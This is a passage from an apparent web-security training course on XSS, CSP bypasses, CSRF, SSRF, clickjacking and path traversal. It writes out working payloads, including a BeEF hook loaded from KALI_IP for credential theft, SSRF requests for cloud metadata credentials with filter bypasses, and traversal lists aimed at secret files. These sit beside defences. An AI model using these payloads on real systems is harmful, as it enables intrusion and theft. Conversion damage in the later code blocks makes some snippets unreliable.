src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script> <div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div> ``` **Bypass 5 — base-uri not set:** If CSP does not include `base-uri 'none'`, an attacker can inject a `<base>` tag to change the base URL for all relative links, then serve malicious scripts from their own domain: ```html <base href="https://attacker.com/"> ``` All relative script paths now load from the attacker's server. **Bypass 6 — Nonce reuse or predictable nonces:** CSP with nonces should generate a fresh random nonce per page load. If the nonce is static or predictable, it can be used in injected scripts: ```html <!-- CSP: script-src 'nonce-abc123' --> <!-- If nonce abc123 is known, injected scripts using it bypass CSP: --> <script nonce="abc123">alert(1)</script> ``` **Testing CSP with online tools:** Use [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) to analyze any CSP header and identify bypass vectors automatically. --- ### 6.7.7 XSS Mitigations #### Defense 1 — Context-Aware Output Encoding (The Primary Defense) Output encoding converts special characters into safe representations for the rendering context. This is the most important XSS defense. The key is using the right encoding for the right context — wrong context encoding is not protective. | Output Context | Encoding Required | Example | |----------------|------------------|---------| | HTML body | HTML entity encoding | `<` → `<`, `>` → `>`, `"` → `"` | | HTML attribute (quoted) | HTML attribute encoding | All special chars encoded | | JavaScript string | JavaScript Unicode escaping | `'` → `\x27`, `<` → `\x3C` | | URL parameter | URL encoding | `<` → `%3C` | | CSS value | CSS hex encoding | `<` → `\3C` | | JSON in HTML | JSON encoding + HTML encoding | Double encoded | Frameworks that auto-encode: - **React**: JSX auto-encodes all expressions (`{userInput}` is safe; `dangerouslySetInnerHTML` is not) - **Angular**: Template binding (`{{}}`) auto-encodes; `[innerHTML]` binding does not - **Vue**: Template binding auto-encodes; `v-html` does not **Never use:** - `innerHTML = userInput` — injects raw HTML - `document.write(userInput)` — injects raw HTML - `eval(userInput)` — executes as JavaScript #### Defense 2 — Content Security Policy (CSP) A properly configured CSP is a significant barrier to XSS exploitation, even when the vulnerability exists. The modern recommended CSP approach: ``` Content-Security-Policy: default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'nonce-{random}'; img-src https:; font-src https:; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'; upgrade-insecure-requests; ``` Key elements: - `nonce-{random}` — a per-page-load random value included on every legitimate script tag. Inline injection without the nonce is blocked. - `strict-dynamic` — allows scripts loaded by nonced scripts to also load, without needing to whitelist CDNs (the whitelist approach is bypassable). - `frame-ancestors 'none'` — also prevents Clickjacking (replaces X-Frame-Options). - `base-uri 'none'` — prevents base tag injection. - `form-action 'self'` — prevents form hijacking. CSP is a defense-in-depth control, not a primary fix. Fix the output encoding. Use CSP as an additional layer. #### Defense 3 — HttpOnly and Secure Cookie Flags Setting `HttpOnly` on session cookies prevents JavaScript from reading them. This blocks the most common XSS attack goal (session theft via `document.cookie`). It does not prevent XSS exploitation entirely — attackers can still perform actions as the victim — but it removes the most impactful attack vector. #### Defense 4 — Trusted Types (Modern Chrome Defense) Trusted Types is a browser API that requires JavaScript code to explicitly opt into potentially dangerous DOM operations by using approved, safe implementations. Applications that adopt Trusted Types cannot use `innerHTML`, `document.write`, or `eval` with raw strings — they must use Trusted Types policies that apply sanitization. ```javascript // In JavaScript, with Trusted Types enforced: // This fails (rejects raw string): document.getElementById('output').innerHTML = userInput; // Throws TypeError // This succeeds (uses approved policy): const policy = trustedTypes.createPolicy('default', { createHTML: (str) => DOMPurify.sanitize(str) // Sanitization applied }); document.getElementById('output').innerHTML = policy.createHTML(userInput); ``` --- ### 6.7.8 Lab — Cross-Site Scripting #### Complete DVWA XSS Practice Sequence **Reflected XSS — Full Exploitation Chain:** ``` Low: <script>alert(document.cookie)</script> → Confirms cookie accessible via XSS → Now demonstrate session theft as described above Medium: <img src=x onerror=alert(document.cookie)> → Bypasses <script> tag filter → Same impact High: Examine the source code → High security adds a strict regex filter → Find what it does NOT filter → Often SVG payloads or event-based payloads bypass strict script filters ``` **Stored XSS — Maximum Impact Demonstration:** ``` Step 1: Inject BeEF hook in the message field: <script src="http://KALI_IP:3000/hook.js"></script> Step 2: Start BeEF: sudo beef-xss Step 3: Visit the guestbook page as another user (or admin) → Their browser appears in BeEF panel Step 4: Execute "Pretty Theft" module → Google login overlay captures credentials Step 5: Execute "Get Cookie" module → retrieves cookies (even HttpOnly ones are not directly readable, but the Pretty Theft demonstrates what real credential theft looks like) ``` #### PortSwigger Web Security Academy XSS Labs The PortSwigger XSS labs at [https://portswigger.net/web-security/cross-site-scripting](https://portswigger.net/web-security/cross-site-scripting) provide the best structured XSS practice available online. Complete at minimum: - Reflected XSS into HTML context with nothing encoded - Stored XSS into HTML context with nothing encoded - DOM XSS in innerHTML sink using source location.search - DOM XSS in jQuery href attribute sink using location.search source - Reflected XSS into attribute with angle brackets HTML-encoded - Stored XSS into anchor href attribute with double quotes HTML-encoded Each lab requires understanding the specific injection context and crafting the appropriate payload — exactly the skill real assessments require. --- ## 6.8 Understanding CSRF/XSRF and Server-Side Request Forgery ### 6.8.1 Overview — CSRF and SSRF #### CSRF — Cross-Site Request Forgery: The Confused Deputy Attack CSRF (also written XSRF) is an attack where a malicious website tricks a victim's browser into making unintended requests to another site where the victim is authenticated. The browser helpfully includes the victim's session cookies with these requests — because that is what browsers do. The targeted application receives the request, sees a valid session cookie, and assumes it is a legitimate user action. The "confused deputy" analogy is perfect: the browser is the deputy (agent acting on the user's behalf). The attacker tricks the deputy into performing an action the user did not authorize. The deputy (browser) is confused because it has no way to tell whether the request originated from the legitimate application or from a malicious third-party site. **The fundamental enabler:** Browsers automatically attach cookies to every request made to a domain, regardless of which website triggered the request. If `evil.com` loads an image from `bank.com`, the browser sends the bank's cookies with that image request. This is the architectural behavior that CSRF exploits. #### The Classic CSRF Attack — Transferring Money Without Permission Alice is logged into her bank at `bank.com`. In another tab, she visits `attacker.com`. The malicious page contains: ```html <!-- Invisible to Alice — loaded automatically when the page loads: --> <img src="https://bank.com/transfer?to=attacker_account&amount=5000" style="display:none" width="0" height="0"> ``` When the browser loads this image, it makes a GET request to `bank.com` — with all of Alice's cookies attached. If the bank's transfer function accepts GET requests and does not validate CSRF tokens, the transfer completes. Alice loses $5,000 without clicking anything on the bank's website. For POST requests (which most modern applications require for state-changing operations), the attacker uses an auto-submitting form: ```html <!-- This form submits automatically when the page loads: --> <form action="https://bank.com/transfer" method="POST" id="csrf-form"> <input type="hidden" name="to" value="attacker_account"> <input type="hidden" name="amount" value="5000"> </form> <script>document.getElementById('csrf-form').submit();</script> ``` The victim visits the attacker's page. The form auto-submits. The POST request goes to the bank with the victim's cookies. The transfer completes. #### Why CSRF and XSS Are Complementary Attacks XSS bypasses the Same-Origin Policy by executing code in the victim's origin context. CSRF exploits the fact that cross-site requests include cookies. Together they are often chained: 1. Use XSS to extract the CSRF token from the page (JavaScript can read the DOM, including hidden CSRF token fields) 2. Use the extracted CSRF token to forge a legitimate-looking request 3. The CSRF protection is bypassed because the forged request includes a valid CSRF token This is why CSRF tokens alone are not sufficient if XSS is present. And why HttpOnly cookies alone are not sufficient if CSRF is present. Defense in depth requires both controls to work together. #### CSRF Token — The Primary Defense Mechanism CSRF tokens are random, unpredictable values embedded in forms and required in state-changing requests. A cross-origin attacker cannot read the page containing the token (Same-Origin Policy prevents reading cross-origin responses) and therefore cannot include the correct token in their forged request. **How CSRF tokens work:** 1. Server generates a unique, random token per user session (or per request for higher security) 2. Token is embedded in every form as a hidden field: `<input type="hidden" name="csrf_token" value="r4nd0m...">` 3. Server validates the token on every state-changing request (POST, PUT, PATCH, DELETE) 4. If token is missing or invalid, request is rejected **Common CSRF token implementation mistakes:** - **Storing the token client-side in accessible localStorage** → XSS can read it - **Using a predictable token** (sequential numbers, userID + timestamp) → guessable - **Not validating the token on all state-changing requests** → some endpoints unprotected - **Accepting the token in GET parameters** → Referer leakage exposes it - **Not expiring the token** → Stolen tokens remain valid indefinitely #### SameSite Cookies — The Modern CSRF Defense The `SameSite` cookie attribute (covered in 6.1.4) is now the primary CSRF defense in modern browsers. With `SameSite=Strict` or `SameSite=Lax`, browsers do not send cookies with cross-site requests, defeating CSRF at the browser level. However: - Legacy browsers do not support SameSite — 2024 browser stats show SameSite adoption at ~97% of browsers but legacy systems in corporate environments may be lower - `SameSite=Lax` protects against background cross-site requests but allows cookies on top-level GET navigations — if state-changing actions accept GET requests, CSRF is still possible - Subdomain-level trust: a cookie set for `.example.com` is still sent by cross-site requests from `other.example.com` — subdomain takeover can enable CSRF Best practice: implement both SameSite cookies AND CSRF tokens. Neither alone is perfect; together they provide defense in depth. #### SSRF — Server-Side Request Forgery: The Inside Man SSRF (Server-Side Request Forgery) is entirely different from CSRF despite the similar name. While CSRF tricks a user's browser into making requests, SSRF tricks the server itself into making requests to internal resources. SSRF occurs when an application fetches a URL or resource based on user-controlled input without proper validation. The application server — which has access to internal network resources that the external attacker cannot reach directly — makes the request on the attacker's behalf. **Why SSRF is critical in cloud environments:** Every major cloud provider runs an Instance Metadata Service (IMDS) at a well-known internal IP address: - **AWS:** `http://169.254.169.254/latest/meta-data/` - **Azure:** `http://169.254.169.254/metadata/instance` - **GCP:** `http://metadata.google.internal/computeMetadata/v1/` An EC2 instance can make HTTP requests. If an application on that instance has an SSRF vulnerability, the attacker can instruct the server to fetch `http://169.254.169.254/latest/meta-data/iam/security-credentials/`, which returns the IAM role credentials. Those credentials give API access to AWS — potentially to S3 buckets, databases, secrets manager, and the entire cloud account. This is exactly how the 2019 Capital One breach occurred: an SSRF vulnerability in a web application firewall allowed an attacker to query the metadata service and obtain credentials, which were then used to download over 100 million customer records from S3. #### SSRF Attack Vectors and Bypass Techniques **Finding SSRF:** Any functionality that makes server-side HTTP requests based on user input: ``` - URL preview / link unfurling / "fetch this URL" features - Webhook configuration fields - Image/document import from URL - PDF generation from URL - Server-side health check features - OAuth redirect validation - XML imports (XXE can lead to SSRF) - File upload by URL ``` **Basic SSRF test payloads:** ``` http://169.254.169.254/latest/meta-data/ # AWS metadata http://169.254.169.254/latest/user-data/ # AWS user-data scripts (credentials often here) http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Azure metadata (requires Metadata: true header in the request): http://169.254.169.254/metadata/instance?api-version=2021-02-01 # GCP metadata (requires Metadata-Flavor: Google header): http://metadata.google.internal/computeMetadata/v1/ # Internal network scanning: http://10.0.0.1/ http://192.168.1.1/ http://172.16.0.1/ http://127.0.0.1/admin http://localhost:6379/ (Redis) http://localhost:27017/ (MongoDB) http://localhost:9200/ (Elasticsearch) ``` **SSRF filter bypass techniques:** ``` # If IP 169.254.169.254 is blocked, try alternative representations: http://2852039166/ # Decimal representation of 169.254.169.254 http://0xa9fea9fe/ # Hex representation http://0251.0376.0251.0376/ # Octal representation http://0xA9.0xFE.0xA9.0xFE/ # Mixed hex octets # IPv6 representations: http://[::ffff:169.254.169.254]/ http://[::ffff:a9fe:a9fe]/ # DNS rebinding — register a domain that resolves to internal IP: # Your domain: ssrf.attacker.com # DNS: initially returns attacker's server IP, then rebinds to 169.254.169.254 # First request: allowed (external IP) # Second request: uses cached DNS → hits internal IP # Using redirects to bypass URL validation: # Your server returns: HTTP 302 Location: http://169.254.169.254/ # Application follows redirect to the internal address # Protocol-based SSRF: file:///etc/passwd # Local file read via file protocol dict://127.0.0.1:6379/info # Interact with Redis via dict protocol gopher://127.0.0.1:25/... # Send SMTP commands via gopher sftp://internal-server/ # SFTP protocol for internal access ``` **Blind SSRF — using Burp Collaborator to detect:** When SSRF does not reflect the response, use Burp Collaborator to detect the out-of-band request: ``` URL input: http://your-burp-collaborator-id.burpcollaborator.net/ssrf-test # If you receive an HTTP or DNS request in Collaborator: # The application made an outbound request — SSRF confirmed # Now test with internal targets ``` **SSRF Chaining — From SSRF to RCE:** SSRF is powerful alone (cloud credential theft), but can be chained: 1. SSRF to Redis (`redis://localhost:6379`) → write to authorized_keys → SSH as root 2. SSRF to Jenkins admin (`http://localhost:8080`) → execute Groovy script → RCE 3. SSRF to Kubernetes API → list pods → get secrets → escalate 4. SSRF to internal admin panel → bypass authentication (accessible only from localhost) --- ### 6.8.2 Practice — CSRF and SSRF Attacks #### Building a CSRF Proof of Concept The most convincing CSRF demonstration in an assessment creates a working proof-of-concept HTML page that performs the unauthorized action when visited. **Step 1: Capture the legitimate request** In Burp Suite, perform the legitimate state-changing action (changing email, changing password, initiating transfer). Find the request in Burp HTTP History. **Step 2: Check for CSRF tokens** Examine the request for CSRF tokens or custom headers. If present, test whether they are actually validated: - Remove the token entirely → does the request succeed? (Token not validated) - Send an incorrect token → does the request succeed? (Token not validated) - Use an old expired token → does the request succeed? (Token not expiring) - Change the token by one character → does the request succeed? (Token not securely validated) **Step 3: Generate the CSRF PoC with Burp** Right-click the request in Burp → "Engagement tools" → "Generate CSRF PoC" Burp automatically generates an HTML page that submits the forged request. Customize it if needed. **Step 4: Test the PoC** Open the generated HTML in a browser where you are logged into the target application. The action should complete automatically, confirming CSRF. **Example manual CSRF PoC for an email change:** ```html <!DOCTYPE html> <html> <head><title>CSRF PoC</title></head> <body onload="document.csrf.submit()"> <form name="csrf" action="https://target.com/account/change-email" method="POST"> <input type="hidden" name="email" value="attacker@attacker.com"> <!-- No CSRF token needed if the endpoint doesn't validate it --> </form> <p>Loading...</p> </body> </html> ``` #### Testing SSRF on DVWA DVWA does not have a dedicated SSRF module, but SSRF can be practiced using the file inclusion modules with file:// protocol, or using purpose-built SSRF-vulnerable Docker containers: ```bash # SSRF test environment: docker run -d -p 5000:5000 vulnerables/ssrf-test # Or use SSRFire: docker run -d -p 8888:8888 trufflesecurity/ssrfmap-demo ``` For real SSRF practice, PortSwigger Web Security Academy provides excellent guided SSRF labs covering basic SSRF, blind SSRF with Burp Collaborator, and filter bypass techniques. --- ## 6.9 Understanding Clickjacking ### The Concept — Stealing Clicks Through Invisible Layers Clickjacking, also called UI Redress Attack, is an attack where a malicious page overlays an invisible (or transparent) iframe containing a legitimate target site on top of a fake, harmless-looking page. When the victim clicks on what they think is a button on the attacker's page, they are actually clicking on an element in the invisible target site. The victim thinks they are clicking "Click here to win a prize" on `attacker.com`. They are actually clicking "Confirm fund transfer" on their bank's invisible overlay. They see the attacker's page. Their click is delivered to the bank's frame. **The iframe magic:** ```html <!-- Clickjacking attack page: --> <!DOCTYPE html> <html> <head> <style> /* The target site frame is invisible and positioned exactly over the fake button: */ iframe { width: 500px; height: 700px; position: absolute; top: 0; left: 0; opacity: 0.0001; /* Effectively invisible to the user */ z-index: 2; /* On top of everything — receives the clicks */ } /* The fake button the user thinks they are clicking: */ .fake-button { position: absolute; top: 200px; /* Aligned to sit under the real "Confirm" button in the iframe */ left: 150px; background: #ff6600; color: white; padding: 15px 30px; font-size: 18px; z-index: 1; /* Below the iframe — not actually receiving clicks */ cursor: pointer; } </style> </head> <body> <!-- The malicious invisible overlay — the bank's transfer confirmation: --> <iframe src="https://victim-bank.com/transfer/confirm?to=attacker&amount=5000"> </iframe> <!-- The decoy button the user sees: --> <div class="fake-button">Click here to claim your prize!</div> </body> </html> ``` When the victim clicks the orange "Click here to claim your prize!" button, the click passes through the transparent iframe and clicks on the bank's "Confirm Transfer" button positioned at the same location. The transfer completes. The victim is confused about why nothing happened on the "prize" page. #### Clickjacking Variants **Multi-click Clickjacking:** The attacker constructs a sequence of steps that requires multiple clicks — each aligned with a different action in the iframe. First click on a confirmation dialog. Second click on "Are you sure?" Third click on the final confirm. The victim thinks they are playing a clicking game or solving a CAPTCHA. **Drag-and-Drop Clickjacking:** Instead of clicks, exploit drag-and-drop interactions. Overlay an invisible file upload form over a game where the user drags a game piece — they are actually dragging a file into the upload field. **Keystroke Jacking:** Overlay a text input field over the victim's apparent input area. Keystrokes they think they are typing into the game's search box are actually going into a hidden authentication form. **Likejacking:** Making victims unknowingly "Like" a Facebook page or share content by overlaying the social button over an attractive interface element. #### Detecting Clickjacking Vulnerability Testing is straightforward: if a page can be loaded in an iframe, it is potentially vulnerable to Clickjacking. ```html <!-- Simple test page — save as clickjack_test.html: --> <html> <body> <iframe src="https://target.com/sensitive-action" width="1000" height="800"> </iframe> <p></body><br> </html></p> <!-- Open this in a browser. If the target page loads in the iframe: → X-Frame-Options header is missing or misconfigured → CSP frame-ancestors directive is missing → Clickjacking is possible --> <p>`<code></code></p> <p><strong>Using Burp Suite:</strong><br> In any HTTP response, check for:</p> <ul> <li><code>X-Frame-Options: DENY</code> or <code>X-Frame-Options: SAMEORIGIN</code> — protects against framing</li> <li><code>Content-Security-Policy: frame-ancestors 'none'</code> — the modern equivalent, more flexible</li> </ul> <p>If neither is present: Clickjacking vulnerability. Create the iframe test HTML to confirm.</p> <p><strong>Nuclei check:</strong><br> <code></code><code>bash<br> nuclei -u https://target.com -id clickjacking<br> nuclei -u https://target.com -tags clickjacking<br> </code><code></code></p> <h4> <a name="which-pages-matter" href="#which-pages-matter" class="anchor"> </a> Which Pages Matter </h4> <p>Not all pages are interesting Clickjacking targets. The vulnerability is only impactful when:</p> <ul> <li>The target page performs a state-changing action on a single click (confirm transfer, delete account, change email, approve request)</li> <li>The target page is accessible when the victim is authenticated (so their session carries the action through)</li> </ul> <p>A login page protected by Clickjacking is lower severity — the attacker can get credentials through better means. An admin panel "Delete User" button or "Approve Administrator" action that can be triggered via Clickjacking is critical.</p> <h4> <a name="frame-busting-the-old-bypassable-defense" href="#frame-busting-the-old-bypassable-defense" class="anchor"> </a> Frame Busting — The Old (Bypassable) Defense </h4> <p>Before HTTP headers provided server-side protection, developers used JavaScript "frame busters" — code that checked whether the page was in a frame and broke out if so:</p> <p><code></code><code>javascript<br> // Frame buster JavaScript (historically used, now considered insufficient):<br> if (top !== self) {<br> top.location = self.location; // Force navigation to this URL<br> }<br> // Or: if (top.location !== self.location) top.location = self.location;<br> </code><code></code></p> <p>These were bypassable via <code>sandbox</code> attribute on the iframe:</p> <p><code></code>`html</p> <!-- sandbox prevents the frame buster from running via the top.location access: --> <p><iframe sandbox="allow-forms allow-scripts" src="https://target.com"><br> `<code></code></p> <p>The <code>sandbox</code> attribute removes the framed page's ability to access <code>top.location</code>, neutering the frame buster while still allowing forms and scripts to execute. This is why JavaScript frame busters are not an acceptable defense.</p> <h4> <a name="clickjacking-defenses" href="#clickjacking-defenses" class="anchor"> </a> Clickjacking Defenses </h4> <p><strong>Defense 1 — X-Frame-Options header (legacy but widely supported):</strong><br> <code></code><code><br> X-Frame-Options: DENY # Page cannot be framed by anyone<br> X-Frame-Options: SAMEORIGIN # Page can only be framed by pages on the same origin<br> X-Frame-Options: ALLOW-FROM https://trusted.com # Only this specific origin (deprecated)<br> </code><code></code></p> <p><strong>Defense 2 — CSP frame-ancestors directive (modern, more flexible):</strong><br> <code></code><code><br> Content-Security-Policy: frame-ancestors 'none'; # Same as DENY<br> Content-Security-Policy: frame-ancestors 'self'; # Same as SAMEORIGIN<br> Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com; # Multiple<br> </code><code></code></p> <p>CSP <code>frame-ancestors</code> overrides <code>X-Frame-Options</code> in modern browsers. Both should be set for compatibility with older browsers. Note: CSP <code>frame-ancestors</code> cannot be set via meta tags — it must be in the HTTP header.</p> <hr> <h2> <a name="610-exploiting-security-misconfigurations" href="#610-exploiting-security-misconfigurations" class="anchor"> </a> 6.10 Exploiting Security Misconfigurations </h2> <h3> <a name="6101-overview" href="#6101-overview" class="anchor"> </a> 6.10.1 Overview </h3> <p>Security misconfiguration is the broadest and in many ways the most common vulnerability category in real-world assessments. It encompasses every situation where a system is technically capable of being secure but has been deployed, configured, or maintained in an insecure state.</p> <p>The OWASP Top 10:2021 lists Security Misconfiguration as A05 — the fifth most prevalent category. But in practice, it overlaps with nearly every other category: a missing CSRF token is a misconfiguration. A weak CSP is a misconfiguration. Default credentials are a misconfiguration. Missing security headers are misconfigurations.</p> <p>This section specifically covers two subcategories that deserve detailed treatment: directory traversal (a failure in file system access control) and cookie manipulation (exploiting improperly secured state management).</p> <hr> <h3> <a name="6102-directory-traversal-vulnerabilities" href="#6102-directory-traversal-vulnerabilities" class="anchor"> </a> 6.10.2 Directory Traversal Vulnerabilities </h3> <h4> <a name="the-concept-reading-files-outside-the-intended-directory" href="#the-concept-reading-files-outside-the-intended-directory" class="anchor"> </a> The Concept — Reading Files Outside the Intended Directory </h4> <p>Directory traversal (also called path traversal or dot-dot-slash attack) occurs when an application uses user-controlled input to construct file system paths and does not properly restrict the path to an intended directory. The attacker uses relative path sequences (<code>../</code>) to "traverse" out of the intended directory and into the broader file system.</p> <p>Consider an application that serves product images:<br> <code></code><code><br> https://shop.com/images?file=product1.jpg<br> </code><code></code></p> <p>The server code:<br> <code></code><code>php<br> // VULNERABLE PHP code:<br> $file = $_GET['file'];<br> $path = '/var/www/html/images/' . $file;<br> echo file_get_contents($path);<br> </code><code></code></p> <p>When <code>file=product1.jpg</code>, the path becomes <code>/var/www/html/images/product1.jpg</code> — correct.</p> <p>When <code>file=../../../etc/passwd</code>, the path becomes:<br> <code></code><code><br> /var/www/html/images/../../../etc/passwd<br> → Simplified: /etc/passwd<br> </code><code></code></p> <p>The <code>../</code> sequences traverse up the directory tree, out of <code>/var/www/html/images/</code>, out of <code>/var/www/html/</code>, out of <code>/var/www/</code>, and into <code>/etc/</code>, allowing reading of <code>/etc/passwd</code> — a file listing all user accounts on the Linux system.</p> <h4> <a name="what-files-to-target-highvalue-path-traversal-targets" href="#what-files-to-target-highvalue-path-traversal-targets" class="anchor"> </a> What Files to Target — High-Value Path Traversal Targets </h4> <p><strong>Linux / Unix systems:</strong></p> <table><thead> <tr> <th>File</th> <th>What It Reveals</th> </tr> </thead><tbody> <tr> <td><code>/etc/passwd</code></td> <td>User accounts (historically had passwords, now references /etc/shadow)</td> </tr> <tr> <td><code>/etc/shadow</code></td> <td>Password hashes for all user accounts (requires root)</td> </tr> <tr> <td><code>/etc/hosts</code></td> <td>Internal hostname-to-IP mappings (reveals internal network structure)</td> </tr> <tr> <td><code>/etc/hostname</code></td> <td>System hostname</td> </tr> <tr> <td><code>/proc/version</code></td> <td>Linux kernel version and distribution</td> </tr> <tr> <td><code>/proc/net/tcp</code></td> <td>Active TCP connections (reveals internal services)</td> </tr> <tr> <td><code>/proc/self/environ</code></td> <td>Environment variables for the web server process (may contain secrets)</td> </tr> <tr> <td><code>/proc/self/cmdline</code></td> <td>Command line used to start the web server process</td> </tr> <tr> <td><code>/var/log/apache2/access.log</code></td> <td>Apache access logs</td> </tr> <tr> <td><code>/var/log/nginx/access.log</code></td> <td>Nginx access logs</td> </tr> <tr> <td><code>/var/log/auth.log</code></td> <td>Authentication logs</td> </tr> <tr> <td><code>~/.ssh/id_rsa</code></td> <td>Private SSH key (if web server runs as a non-root user with keys)</td> </tr> <tr> <td><code>/home/user/.bash_history</code></td> <td>Command history revealing sensitive commands</td> </tr> <tr> <td><code>/etc/crontab</code></td> <td>Scheduled tasks (reveals automation and privileged scripts)</td> </tr> <tr> <td>Application config files</td> <td><code>/var/www/html/config.php</code>, <code>../settings.py</code>, <code>../config.yml</code></td> </tr> </tbody></table> <p><strong>Windows systems:</strong></p> <table><thead> <tr> <th>File</th> <th>What It Reveals</th> </tr> </thead><tbody> <tr> <td><code>C:\Windows\System32\drivers\etc\hosts</code></td> <td>Hosts file</td> </tr> <tr> <td><code>C:\Windows\win.ini</code></td> <td>Legacy Windows initialization file</td> </tr> <tr> <td><code>C:\inetpub\logs\LogFiles\</code></td> <td>IIS access logs</td> </tr> <tr> <td><code>C:\Users\[user]\Desktop\</code></td> <td>User's desktop (sometimes configuration files)</td> </tr> <tr> <td><code>C:\xampp\apache\conf\httpd.conf</code></td> <td>XAMPP Apache config</td> </tr> <tr> <td><code>C:\ProgramData\</code></td> <td>Application data directory</td> </tr> <tr> <td><code>C:\Windows\System32\config\SAM</code></td> <td>Windows password hashes (locked while OS running)</td> </tr> </tbody></table> <p><strong>Web application configuration files (most impactful):</strong></p> <p><code></code>`</p> <h1> <a name="php-applications" href="#php-applications" class="anchor"> </a> PHP applications: </h1> <p>../config.php<br> ../config/database.php<br> ../../.env # Laravel, Node.js: contains DB passwords, API keys<br> ../wp-config.php # WordPress database credentials<br> ../configuration.php # Joomla database credentials</p> <h1> <a name="pythondjango" href="#pythondjango" class="anchor"> </a> Python/Django: </h1> <p>../../settings.py<br> ../settings/production.py</p> <h1> <a name="java" href="#java" class="anchor"> </a> Java: </h1> <p>../../WEB-INF/web.xml # Servlet configuration<br> ../../WEB-INF/classes/application.properties # Spring Boot config<br> ../../../META-INF/context.xml</p> <h1> <a name="nodejs" href="#nodejs" class="anchor"> </a> Node.js: </h1> <p>../../.env<br> ../../config/config.json<br> ../../package.json # Reveals dependencies and scripts</p> <h1> <a name="general" href="#general" class="anchor"> </a> General: </h1> <p>../../.git/config # Git configuration (may reveal remote repo URLs/credentials)<br> ../../.git/HEAD<br> ../../.htpasswd # HTTP Basic Auth credentials<br> ../../.htaccess # Apache access control configuration<br> `<code></code></p> <h4> <a name="detection-payloads-systematic-testing" href="#detection-payloads-systematic-testing" class="anchor"> </a> Detection Payloads — Systematic Testing </h4> <p><code></code>`</p> <h1> <a name="basic-traversal-linux" href="#basic-traversal-linux" class="anchor"> </a> Basic traversal (Linux): </h1> <p>../../../etc/passwd</p> <h1> <a name="basic-traversal-windows" href="#basic-traversal-windows" class="anchor"> </a> Basic traversal (Windows): </h1> <p>......\Windows\win.ini<br> ......\Windows\System32\drivers\etc\hosts</p> <h1> <a name="urlencoded-variants-bypasses-simple-string-matching" href="#urlencoded-variants-bypasses-simple-string-matching" class="anchor"> </a> URL-encoded variants (bypasses simple string matching): </h1> <p>%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL encoding<br> %2e%2e/%2e%2e/%2e%2e/etc/passwd<br> ..%2f..%2f..%2fetc%2fpasswd # Mixed encoding<br> %252e%252e%252fetc%252fpasswd # Double URL encoding</p> <h1> <a name="unicodeutf8-encoding" href="#unicodeutf8-encoding" class="anchor"> </a> Unicode/UTF-8 encoding: </h1> <p>..%c0%af../etc/passwd # Overlong UTF-8 encoding<br> ..%ef%bc%8f../etc/passwd</p> <h1> <a name="null-byte-for-older-phpperl-apps-with-file-extension-stripping" href="#null-byte-for-older-phpperl-apps-with-file-extension-stripping" class="anchor"> </a> Null byte (for older PHP/Perl apps with file extension stripping): </h1> <p>../../../etc/passwd%00.jpg</p> <h1> <a name="php-pre534-would-truncate-at-00-ignoring-the-jpg-extension" href="#php-pre534-would-truncate-at-00-ignoring-the-jpg-extension" class="anchor"> </a> PHP pre-5.3.4 would truncate at %00, ignoring the .jpg extension </h1> <h1> <a name="path-truncation-older-php-versions" href="#path-truncation-older-php-versions" class="anchor"> </a> Path truncation (older PHP versions): </h1> <h1> <a name="very-long-paths-may-cause-php-to-truncate-to-the-expected-directory" href="#very-long-paths-may-cause-php-to-truncate-to-the-expected-directory" class="anchor"> </a> Very long paths may cause PHP to truncate to the expected directory </h1> <h1> <a name="windowsspecific" href="#windowsspecific" class="anchor"> </a> Windows-specific: </h1> <p>........\Windows\win.ini<br> ../../../../../../Windows/win.ini<br> ....//....//....//etc/passwd # Double-dot slash bypass</p> <h1> <a name="using-absolute-paths-if-server-allows" href="#using-absolute-paths-if-server-allows" class="anchor"> </a> Using absolute paths (if server allows): </h1> <p>/etc/passwd<br> C:\Windows\win.ini<br> `<code></code></p> <h4> <a name="using-burp-suite-for-systematic-path-traversal-testing" href="#using-burp-suite-for-systematic-path-traversal-testing" class="anchor"> </a> Using Burp Suite for Systematic Path Traversal Testing </h4> <p><code></code>`</p> <ol> <li><p>Identify every parameter that seems to reference a filename:<br> ?file=, ?page=, ?doc=, ?image=, ?template=, ?module=, ?path=</p></li> <li><p>For each parameter, send to Burp Intruder:</p> <ul> <li>Payload position: the filename value</li> <li>Payload list: path traversal wordlist from SecLists: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt</li> </ul></li> <li><p>Look for:</p> <ul> <li>Responses containing "root❌0:0:" (Linux /etc/passwd content)</li> <li>Responses containing "[extensions]" (Windows win.ini content)</li> <li>Responses with unusual size differences from baseline</li> <li>Error messages that reveal file system paths</li> </ul></li> <li><p>Confirm with a simple payload first:<br> Start with ../../../etc/passwd<br> If that fails, try URL-encoded variants<br> If those fail, try double encoding<br> `<code></code></p></li> </ol> <h4> <a name="common-bypasses-for-path-traversal-filters" href="#common-bypasses-for-path-traversal-filters" class="anchor"> </a> Common Bypasses for Path Traversal Filters </h4> <p><strong>Filter: strips <code>../</code> sequences</strong><br> <code></code>`</p> <h1> <a name="replace-with-double-encoding-trick" href="#replace-with-double-encoding-trick" class="anchor"> </a> Replace ../ with ....// (double encoding trick): </h1> <p>....//....//....//etc/passwd<br> → After stripping ../: ../../etc/passwd (still traverses)<br> `<code></code></p> <p><strong>Filter: blocks known paths like <code>/etc/passwd</code></strong><br> <code></code>`</p> <h1> <a name="case-variation-windows-caseinsensitive" href="#case-variation-windows-caseinsensitive" class="anchor"> </a> Case variation (Windows case-insensitive): </h1> <p>......\WINDOWS\win.ini</p> <h1> <a name="null-bytes" href="#null-bytes" class="anchor"> </a> Null bytes: </h1> <p>/etc/passwd%00</p> <h1> <a name="additional-path-segments" href="#additional-path-segments" class="anchor"> </a> Additional path segments: </h1> <p>/etc/./passwd<br> /etc//passwd<br> /etc/passwd/<br> `<code></code></p> <p><strong>Filter: enforces extension (e.g., only allows .jpg, .png)</strong><br> <code></code>`</p> <h1> <a name="null-byte-php-lt-534" href="#null-byte-php-lt-534" class="anchor"> </a> Null byte (PHP < 5.3.4): </h1> <p>../../../etc/passwd%00.jpg</p> <h1> <a name="path-truncation-with-very-long-string" 